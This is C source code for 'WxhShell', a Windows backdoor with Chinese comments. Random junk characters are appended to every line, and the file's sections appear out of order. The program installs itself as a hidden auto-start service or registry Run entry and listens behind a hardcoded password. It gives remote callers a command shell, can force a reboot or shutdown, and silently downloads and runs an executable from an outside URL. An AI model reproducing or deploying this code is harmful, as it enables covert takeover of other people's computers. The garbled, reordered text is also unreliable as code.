  case 'd': { Z,7VOf6g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 12HE =  
    if(Boot(SHUTDOWN)) <P.'r,"[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3H ,?ZFFGz  
    else { Er@OmNT  
    closesocket(wsh); { pk]p~  
    ExitThread(0); )SyU  
    } W(\ ^6S)  
    break; O#?@' 1  
    } IA680^  
  // 获取shell VCQo3k5 {  
  case 's': { tQ(4UHqa~  
    CmdShell(wsh); v:?l C<,  
    closesocket(wsh); ug^esB  
    ExitThread(0); 6QAhVg: A  
    break; ppzQh1  
  } y85R"d  
  // 退出 6|Xe ],u  
  case 'x': { t4Pi <m:7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  D`3`5.b  
    CloseIt(wsh); FA!!S`{\  
    break; ()e|BFL.  
    } RAj>{/E#W  
  // 离开 p> g[: ~  
  case 'q': { vW4n>h}]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AL;4-(KH  
    closesocket(wsh); %uDH_J|^  
    WSACleanup(); "NtY[sT{V  
    exit(1); Eo>EK>  
    break; v-DZW,  
        } Fs&r ^ [/b  
  } t^~Qv  
  } XeX` h_  
d r$E:kr  
  // 提示信息 nYE%@Up  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OXI>`$we  
} ;b!qt-;.<  
  } pv]" 2'aQ  
sW@_' Lw  
  return; `G`y A%  
} bX>R9i$  
ZdgzPs"  
// shell模块句柄 nXw98;  
int CmdShell(SOCKET sock) ||4T*B06  
{ '^M.;Giz  
STARTUPINFO si; g cb6*@u!  
ZeroMemory(&si,sizeof(si)); qKTzigjj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EYA=fU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '}$$0S.DC  
PROCESS_INFORMATION ProcessInfo; 8p]9A,Uq&  
char cmdline[]="cmd"; 9;NXzO27  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0ZJj5<U  
  return 0; |enb5b78  
}  zPN:)  
Raf(m,o(  
// 自身启动模式 9e Fj+  
int StartFromService(void) &%m%b5  
{ quRTA"!E  
typedef struct K/K|[=bl  
{ @Gt.J*!s/  
  DWORD ExitStatus; :0Z\-7iK  
  DWORD PebBaseAddress; ih-J{1  
  DWORD AffinityMask; jl5&T{z  
  DWORD BasePriority; )Z)Gb~G  
  ULONG UniqueProcessId; Ub/ZzAwq  
  ULONG InheritedFromUniqueProcessId; _!,Ees=b  
}   PROCESS_BASIC_INFORMATION; ^h^.;Iqr=  
in6*3C4  
PROCNTQSIP NtQueryInformationProcess; (e Ssx/  
")<5 VtV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /36gf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N(V_P[]"*,  
inh J|pe"  
  HANDLE             hProcess; GSW%~9WBa  
  PROCESS_BASIC_INFORMATION pbi; pQ>|d H+.  
sou~m,#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SDB \6[D  
  if(NULL == hInst ) return 0; Bj<s!}i{[  
4:5M,p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )qe rA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y%?'<j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yD#(Iw  
`x_}mdR  
  if (!NtQueryInformationProcess) return 0; uVTacN%X  
#nw+U+qL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h'?v(k!  
  if(!hProcess) return 0; e;g7Ek3n  
@S:T8 *~}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FbRGfHL[  
#k?.dWZ!  
  CloseHandle(hProcess); \&b 9  
`QtkC>[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o (4gh1b%  
if(hProcess==NULL) return 0; |Z)}-'QUJ  
] E:NmBN<  
HMODULE hMod; @dx 8{oQ  
char procName[255]; U$Z<lx2P  
unsigned long cbNeeded; 7Mk>`4D'c  
#ID fJ2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ) J.xQ}g  
"=1gA~T  
  CloseHandle(hProcess); FPH2dN  
p]ujip  
if(strstr(procName,"services")) return 1; // 以服务启动 (;&}\OX6nm  
KIp^| k7>  
  return 0; // 注册表启动 '~ H`Ffd.  
} AUu<@4R7  
DQ30\b"gU  
// 主模块 Q6D>(H#"0  
int StartWxhshell(LPSTR lpCmdLine) ,H%[R+)  
{ {2YqEX-I*  
  SOCKET wsl; +3J<vM}dy  
BOOL val=TRUE; }0tHzw=#%e  
  int port=0; 4.^T~n G  
  struct sockaddr_in door; #:By/9}-  
xy b=7  
  if(wscfg.ws_autoins) Install(); mPHto-=fB  
qoOwR[NDcq  
port=atoi(lpCmdLine); qYJ<I'Ux O  
+Gg|BTTL/  
if(port<=0) port=wscfg.ws_port; ~_Fx2T:X  
?dbSm3  
  WSADATA data; _",< at  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l i)6^f#  
L""ZI5J{F9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J]#rh5um  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z,O* p,Gzn  
  door.sin_family = AF_INET; ,SidY\FzH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H(gY =  
  door.sin_port = htons(port); I;-Y2*  
oyr b.lu/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QkC*om'/!  
closesocket(wsl); v0VQ4>  
return 1; @&Z^WN,x  
} : NA(nA 3  
_ xTpW  
  if(listen(wsl,2) == INVALID_SOCKET) { qZ'2M.;  
closesocket(wsl); qxDMDMN  
return 1; "T{WOGU+  
} Km $o@  
  Wxhshell(wsl); }Nd1'BVf  
  WSACleanup(); >}\s-/  
>$TvCw  
return 0; 9TQVgkW  
|9=A"092{  
} +<.o,3  
LRts W(A/  
// 以NT服务方式启动 !^&VZh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #>("(euXMF  
{ f}"eN/T  
DWORD   status = 0; 3>^]r jFw  
  DWORD   specificError = 0xfffffff; 2|=hF9  
3qn_9f]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ch :rAx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &3Yj2 Fw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7P<f(@0h$E  
  serviceStatus.dwWin32ExitCode     = 0; /'aqQ K<  
  serviceStatus.dwServiceSpecificExitCode = 0; (Hj[9[=  
  serviceStatus.dwCheckPoint       = 0; ;Mo_B9  
  serviceStatus.dwWaitHint       = 0; ge1. HG  
\*=wm$p&*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9?MzIt  
  if (hServiceStatusHandle==0) return; J@2wPKh?Yp  
|Z94@uB  
status = GetLastError(); )~)l^0X  
  if (status!=NO_ERROR) hNsi  8/  
{ `MCiybl,&P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z?.9)T9_  
    serviceStatus.dwCheckPoint       = 0; (_"Zbw%cJy  
    serviceStatus.dwWaitHint       = 0; xYCJO(&  
    serviceStatus.dwWin32ExitCode     = status; h?p_jI  
    serviceStatus.dwServiceSpecificExitCode = specificError; E& i (T2c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); in/~' u  
    return; +/Y2\ s  
  } S'8+jY  
+^+'.xQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xi(1H1KN5B  
  serviceStatus.dwCheckPoint       = 0; 'fl< ac,.  
  serviceStatus.dwWaitHint       = 0; 9D+k71"+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $] "M`h  
}  ?bVIH?  
l[c '%M|N  
// 处理NT服务事件,比如:启动、停止 %K4M`R|2]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R|$AcNp  
{ p|.5;)%|  
switch(fdwControl) ofV0L  
{ $QwpoVp`~  
case SERVICE_CONTROL_STOP: o=_7KWOA  
  serviceStatus.dwWin32ExitCode = 0; -yBKA]"<I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; & H%/.4la  
  serviceStatus.dwCheckPoint   = 0; l;0([_>*j  
  serviceStatus.dwWaitHint     = 0; CTW\Dt5  
  { Or.u*!od&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'z5jnI  
  }  e|!'  
  return; S xJ&5q  
case SERVICE_CONTROL_PAUSE: G~8BND[."  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )g dLb}  
  break; +4_,, I  
case SERVICE_CONTROL_CONTINUE: =Q40]>bpx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M%`CzCL u  
  break; /HLI9  
case SERVICE_CONTROL_INTERROGATE: sFz0:SqhE  
  break; ` = O  
}; wQUl!s7M;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &&9 |;0 <  
} NOQ^HEi  
,M.}Qak^  
// 标准应用程序主函数 ;&O?4?@4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p"p~Bx  
{ a%B&F|u  
'~&W'='b;  
// 获取操作系统版本 wpM2{NTP  
OsIsNt=GetOsVer(); 6wh PW .  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?iP7Ki  
4F|79U #  
  // 从命令行安装 @d0f+9d  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7/IL" D  
aE5-b ub c  
  // 下载执行文件 kZz'&xdv'.  
if(wscfg.ws_downexe) { {WrEe7dLy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0fXMY-$I  
  WinExec(wscfg.ws_filenam,SW_HIDE); K 77iv  
} G-T^1?  
* ) <+u~  
if(!OsIsNt) { 8F8?1  
// 如果时win9x,隐藏进程并且设置为注册表启动 S[3"?$3S  
HideProc(); ,~naKd.ZY  
StartWxhshell(lpCmdLine); g= $U&Hgs  
} 8xO   
else \,G9'c 'u  
  if(StartFromService()) ~dr,;NhOLJ  
  // 以服务方式启动 hJ{u!:4  
  StartServiceCtrlDispatcher(DispatchTable); N9_* {HOy  
else ZQE1]ht  
  // 普通方式启动 sh_;98^  
  StartWxhshell(lpCmdLine); iibG$?(  
vd[7Pxe  
return 0; Sc[#]2 }  
} s) ]j X  
qX-ptsQ  
tJ6@Ot  
J;>epM ;*  
=========================================== CVa>5 vt  
1z8"Gk6  
z9ADF(J?0'  
]@Zv94Z(  
6i[Ts0H%<!  
>NBc-DX^  
" losqc *|  
[ @eA o>  
#include <stdio.h> P0.cF]<m  
#include <string.h> eZPeyYX  
#include <windows.h> XG.[C>  
#include <winsock2.h> V+"%BrM  
#include <winsvc.h> '%rT]u3U  
#include <urlmon.h> pr#%VM[':R  
Rsfb?${0G  
#pragma comment (lib, "Ws2_32.lib") M9W zsWM  
#pragma comment (lib, "urlmon.lib") r&E gP  
=%7drBoD  
#define MAX_USER   100 // 最大客户端连接数 nXRa_M(z8  
#define BUF_SOCK   200 // sock buffer L5FOlzn  
#define KEY_BUFF   255 // 输入 buffer k)n b<JW|r  
6#+&/ "*  
#define REBOOT     0   // 重启 9Y,JYc#  
#define SHUTDOWN   1   // 关机 GP%V(HhN  
2xLtJR4L  
#define DEF_PORT   5000 // 监听端口 1X2j%q I&  
?.VKVTX^  
#define REG_LEN     16   // 注册表键长度 4[$:KGh3  
#define SVC_LEN     80   // NT服务名长度 _U^[h!  
~9+01UU^  
// 从dll定义API GJ*IH9YR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O%T?+1E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); " !EnQB=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^y/Es2A#t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P?h1nxm`'  
T/'z,,Y  
// wxhshell配置信息 src9EeiV  
struct WSCFG { oFU:]+.+D  
  int ws_port;         // 监听端口 WVa%<  
  char ws_passstr[REG_LEN]; // 口令 Zt!#KSF7%  
  int ws_autoins;       // 安装标记, 1=yes 0=no !{jw!bB  
  char ws_regname[REG_LEN]; // 注册表键名 [Y](Y3/.N  
  char ws_svcname[REG_LEN]; // 服务名 )*BZo>"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @JbxGi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [ey# ,&T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  `M I;.t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uB  I/3aQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g{]6*`/Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "u^Erj# /  
Nu"v .]Y2  
}; |eu8;~A  
ytIPY7E  
// default Wxhshell configuration t<8)h8eW  
struct WSCFG wscfg={DEF_PORT, MIZdk'.U  
    "xuhuanlingzhe", G]ek-[-  
    1, j?N<40z  
    "Wxhshell", 7\ _MA!:<  
    "Wxhshell", f7_( C0d  
            "WxhShell Service", ?y-^Fq|h  
    "Wrsky Windows CmdShell Service", TGF$zvd  
    "Please Input Your Password: ", [K3 te  
  1, 4^W!,@W  
  "http://www.wrsky.com/wxhshell.exe", Ku ,wI86  
  "Wxhshell.exe" dun`/QKV  
    }; U*C^g}iA  
d0 )725Ia  
// 消息定义模块 zIrOMh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nc;e NB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sv=U^xI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |jiIx5qr  
char *msg_ws_ext="\n\rExit.";  rexf#W)  
char *msg_ws_end="\n\rQuit."; _Xd"'cXw  
char *msg_ws_boot="\n\rReboot..."; \}jA1oy  
char *msg_ws_poff="\n\rShutdown..."; 3*h"B$g!  
char *msg_ws_down="\n\rSave to "; O-V|=t  
DPT6]pl"y  
char *msg_ws_err="\n\rErr!"; sjyr9AF  
char *msg_ws_ok="\n\rOK!"; K KB+o)*W  
6MVu"0#  
char ExeFile[MAX_PATH]; sQ}|Lu9hZ  
int nUser = 0; 3xy2ZYw  
HANDLE handles[MAX_USER]; M3jUnp&  
int OsIsNt; Q6HJ+H-Ub  
N\PdX$  
SERVICE_STATUS       serviceStatus; "/zgh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b{<?E };%  
X}Oe'y  
// 函数声明 mWv$eR  
int Install(void); QJ XP -  
int Uninstall(void); 9 -pt}U  
int DownloadFile(char *sURL, SOCKET wsh); %aNm j)L  
int Boot(int flag); <Z%=lwtX  
void HideProc(void); ,\6Vb*G|E>  
int GetOsVer(void); @}4aF|  
int Wxhshell(SOCKET wsl); P2'N4?2  
void TalkWithClient(void *cs); (mIjG)4t  
int CmdShell(SOCKET sock); p]mN)  
int StartFromService(void); {mJ' Lb0;  
int StartWxhshell(LPSTR lpCmdLine); r:bJU1P1$s  
qofAA!3z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EHC7b^|3}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6B?jc/V.R  
N9!L8BBaK  
// 数据结构和表定义 VM%g QOo<  
SERVICE_TABLE_ENTRY DispatchTable[] = t+U.4mS-  
{ KZ%i&w#<  
{wscfg.ws_svcname, NTServiceMain}, |]9@JdmV  
{NULL, NULL} r? /Uu &  
}; {U;yW)  
x-[ItJ% l  
// 自我安装 hS,&Nj+  
int Install(void) xF[%R{Mn'  
{ mXz*Gi  
  char svExeFile[MAX_PATH]; `6~0W5  
  HKEY key; :K6JrS  
  strcpy(svExeFile,ExeFile); W0f^!}f(  
PLkS-B  
// 如果是win9x系统,修改注册表设为自启动 i47LX;}  
if(!OsIsNt) { zP,r,ok7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4k225~GQ:C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7+P;s,mi7  
  RegCloseKey(key); lEHx/#qt9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  i"<W6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (\F9_y,6*\  
  RegCloseKey(key); 1b%Oi.;  
  return 0; tczJk1g}  
    } bA)nWWSg=  
  } J1G}l5N  
} AIg4u(j  
else { 2fTuIS<yr  
86=W}eV1r  
// 如果是NT以上系统,安装为系统服务 blQ&QQL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i%FC lMF  
if (schSCManager!=0) GTR*3,rw  
{ h[>pC"s?K  
  SC_HANDLE schService = CreateService KA?}o^-F  
  ( 86{>X5+  
  schSCManager, j,i9,oF6]  
  wscfg.ws_svcname, pWxk^qhe/  
  wscfg.ws_svcdisp, _RaE: )  
  SERVICE_ALL_ACCESS, 3 2z4G =l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~P'.R.e  
  SERVICE_AUTO_START, 4gen,^Ij  
  SERVICE_ERROR_NORMAL, ^.6yzlY  
  svExeFile, {IgH0+z  
  NULL, $eFMn$o  
  NULL, ;M.Q=#;E  
  NULL, 0OM^,5%8  
  NULL, t"4* ]S  
  NULL p3Ux%/ZqPV  
  ); \#,2#BmO"E  
  if (schService!=0) ZPH_s^  
  { 2p&$bf t  
  CloseServiceHandle(schService); @*y4uI6&  
  CloseServiceHandle(schSCManager); Z{B  e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W4o8]&A  
  strcat(svExeFile,wscfg.ws_svcname); r.e K;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dcY(1p)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D\THe-Vtr  
  RegCloseKey(key); H0s*Lb  
  return 0; %'1iT!g8  
    } KVOV<uDCj  
  } m#UQ,EM  
  CloseServiceHandle(schSCManager); Pdf-2 Tx  
} 9K@ I  
} &\ 9%;k  
f- XUto  
return 1; 1L!;lP2  
} !MKecRG_  
m+!.H\  
// 自我卸载 J!l/.:`6  
int Uninstall(void) <W #G)c0  
{ :Dt y([  
  HKEY key; Ye3o}G9z  
84WD R?  
if(!OsIsNt) { O z6$u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |N`0G.#  
  RegDeleteValue(key,wscfg.ws_regname); PRU&y/zZmG  
  RegCloseKey(key); -W9DH^EL<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nud =K'P=  
  RegDeleteValue(key,wscfg.ws_regname); 1\fx57a\  
  RegCloseKey(key); Sh(ys*y>  
  return 0; }>6e-]MHfR  
  } He=C\"  
} VFf;|PHS  
} Q2 !GWz$  
else { f5*qlQJFz\  
6-|?ya  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S a +Y/  
if (schSCManager!=0) +#eol~j9N  
{ sMMOZ'bT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Aars\   
  if (schService!=0) {rcN_N%  
  { s;I @En  
  if(DeleteService(schService)!=0) { "<=4]Z  
  CloseServiceHandle(schService); 59zWB,y(P  
  CloseServiceHandle(schSCManager); IB&G#2M<  
  return 0; /ugWl99.W  
  } 8|zavH#P  
  CloseServiceHandle(schService); n$C- ^3 c  
  } GKFRZWXdT  
  CloseServiceHandle(schSCManager); 7K.75%}  
} nms[No?  
} nod&^%O"  
i?!9%U!z4  
return 1; b,+Sa\j)(  
} +%XByY5  
C4(xtSJSd!  
// 从指定url下载文件 q\<l"b z  
int DownloadFile(char *sURL, SOCKET wsh) (e'8>Pv  
{ :2KHiT5  
  HRESULT hr; =H)]HxEEM  
char seps[]= "/"; le \f:  
char *token; trDw|WA  
char *file; !Wr<T!T  
char myURL[MAX_PATH]; uZL]mwkj]  
char myFILE[MAX_PATH]; 4m< ]qw  
OM1Z}%J  
strcpy(myURL,sURL); =x -7 Wy  
  token=strtok(myURL,seps); JlnmG<WLT  
  while(token!=NULL)  a[nSUlT&  
  { 5! );4+  
    file=token; =;-C;gn:w  
  token=strtok(NULL,seps); =Smd/'`_  
  } d'W2I*Zc<  
F9eEQ{L  
GetCurrentDirectory(MAX_PATH,myFILE); 4"@;.C""  
strcat(myFILE, "\\"); $=.%IJ_MAz  
strcat(myFILE, file); vCi`htm%  
  send(wsh,myFILE,strlen(myFILE),0); / ]8e[t>!f  
send(wsh,"...",3,0); MJiVFfYW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ntH`\ )xi  
  if(hr==S_OK) fJr EDj4(  
return 0; Cdz?+hb  
else oW^x=pS9  
return 1; oZ*?Uh*  
\=WPJm`p  
} !!Ww#x~k$[  
^gcB+  
// 系统电源模块 bdWdvd:  
int Boot(int flag) 48 wt  
{ W7n^]~V  
  HANDLE hToken; ta{24{?M\  
  TOKEN_PRIVILEGES tkp; eOb--@~8  
]<<,{IQ  
  if(OsIsNt) { v'?Smd1v /  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <5G(Y#s/?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )f$4: Pq  
    tkp.PrivilegeCount = 1; }169]!R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UdrgUqq)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _b<;n|^  
if(flag==REBOOT) { KyrZ&E.`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A@>/PB6n  
  return 0; 9.(|ri  
} {{G3^ysa  
else { AM=,:k$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y0g]-B  
  return 0; 4}DFCF%B  
} _OG9wi(Fpx  
  } )yyH_Ax2  
  else { 02Vfg42  
if(flag==REBOOT) { a2.6 S./  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =l:V9u-I^  
  return 0; !@lx|= #  
} a!bW^?PcK  
else { 6MM\nIU)/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BR|0uJ.M  
  return 0; i&H^xgm  
} j-BNHX  
}  jfK&CA  
,iYhD-"'  
return 1; >rlUV"8jY;  
} R=.?el  
lt-3OcC  
// win9x进程隐藏模块 w>*Jgc@A*  
void HideProc(void) oo;<I_#07  
{ \bT0\ (Js\  
}*bp4<|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <eEIR  
  if ( hKernel != NULL ) oF$#7#0`;8  
  { jywS<9c@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3!F^ vZ.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G~y:ZEnN[  
    FreeLibrary(hKernel); }< '6FxR  
  } 3U^Vz9LW  
k~AtnI  
return; i ZPNss  
} F_0D)H)N@  
564L.^$@|  
// 获取操作系统版本 />E ILPPb  
int GetOsVer(void) q`PA~C];  
{ 1|8Bv0-b  
  OSVERSIONINFO winfo; b;D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7yu-xnt3s  
  GetVersionEx(&winfo); h._eP.W`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \%r0'1f  
  return 1; d:iJUVpr  
  else .WKJ37od  
  return 0; 8nBYP+t,e  
} #Hr'plg 8  
s:l H4B  
// 客户端句柄模块 y@v)kN)Y9\  
int Wxhshell(SOCKET wsl) <_8b AO8\  
{ )SP"V~^Wn  
  SOCKET wsh; 'y!qrmMRr  
  struct sockaddr_in client; 5|0/$ SWd*  
  DWORD myID; Q\s+w){f%  
@_"cMU!  
  while(nUser<MAX_USER) nGWy4rY2S  
{ gdD|'h  
  int nSize=sizeof(client); oUsfO-dET^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7:F0?l*  
  if(wsh==INVALID_SOCKET) return 1; EGI$=Y  
_R(ZvsOZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [2xu`HT02  
if(handles[nUser]==0) Y[)mHs2  
  closesocket(wsh); nHeJ20  
else xO:h[  
  nUser++; u(3 uZ:  
  } XK\nOHLS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !pU^?Hy=  
l[_antokn  
  return 0; >Z*b0j  
} ZDaHR-%Y  
d)U(XiK'  
// 关闭 socket ]e-QNI  
void CloseIt(SOCKET wsh) s%y<FXUj  
{ j~Fd8]@  
closesocket(wsh); [Y!HQ9^LEp  
nUser--; qJs_ahy(  
ExitThread(0); ':}9>B3 S  
} h/A\QW8Sd  
;]xc}4@=mg  
// 客户端请求句柄 C3^3<  
void TalkWithClient(void *cs) } *) l  
{ &Y@),S9  
Wn6m$=  
  SOCKET wsh=(SOCKET)cs; ]r!|@AWrQ\  
  char pwd[SVC_LEN]; bBML +0a  
  char cmd[KEY_BUFF]; JE{ cZ<NNH  
char chr[1]; 2hNl_P~z1u  
int i,j; jFg19C{=X  
WFc4(Kl  
  while (nUser < MAX_USER) { 5"40{3  
\nP79F0%2  
if(wscfg.ws_passstr) { o=94H7@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (rJ-S"^u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3}g>/F ~  
  //ZeroMemory(pwd,KEY_BUFF); ,F->*=  
      i=0; L"vk ^>E6  
  while(i<SVC_LEN) { 6 Q7MAP M  
z-K};l9y  
  // 设置超时 j<)$ [v6  
  fd_set FdRead; !nL94:8U  
  struct timeval TimeOut; ?uc]Wgw"s  
  FD_ZERO(&FdRead); 5l@} 1n  
  FD_SET(wsh,&FdRead); [u*7( 4e  
  TimeOut.tv_sec=8; :j3^p8]  
  TimeOut.tv_usec=0; yj'lHC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); > .}G[C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X} V]3  
~0024B[G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mpD.x5jm<  
  pwd=chr[0]; h`! 4`eI  
  if(chr[0]==0xd || chr[0]==0xa) { GGwwdB\x'  
  pwd=0; Yur}<>`(  
  break; D@ sMCR  
  } 2\.23  
  i++; $ #/8l58  
    } Fv,c8f  
g,*fpk  
  // 如果是非法用户,关闭 socket +W1l9n*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dk1q9Tx  
} d< XY"Y%  
WxD$k3U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `0W"[BY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `lm'_~=`&  
":T"Y;  
while(1) { MY\mo,#  
aBQ--Sz  
  ZeroMemory(cmd,KEY_BUFF); G+sB/l"  
,0HID:&  
      // 自动支持客户端 telnet标准   jX'pUO  
  j=0; @|<nDd{2  
  while(j<KEY_BUFF) { %vf;qVoA~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;j;U9-oh  
  cmd[j]=chr[0]; Z>w@3$\z  
  if(chr[0]==0xa || chr[0]==0xd) { &q4~WRnzJk  
  cmd[j]=0; . P 44t  
  break; s$9ow<oi]  
  } sX>|Y3S\U  
  j++; yTbtS-  
    } K; hP0J  
}Dcpe M?  
  // 下载文件 ML$#&Z@ *7  
  if(strstr(cmd,"http://")) { j&.JAQ*2;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tf$>^L  
  if(DownloadFile(cmd,wsh)) / L$q8+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +NB5Fd4  
  else k-*k'S_  
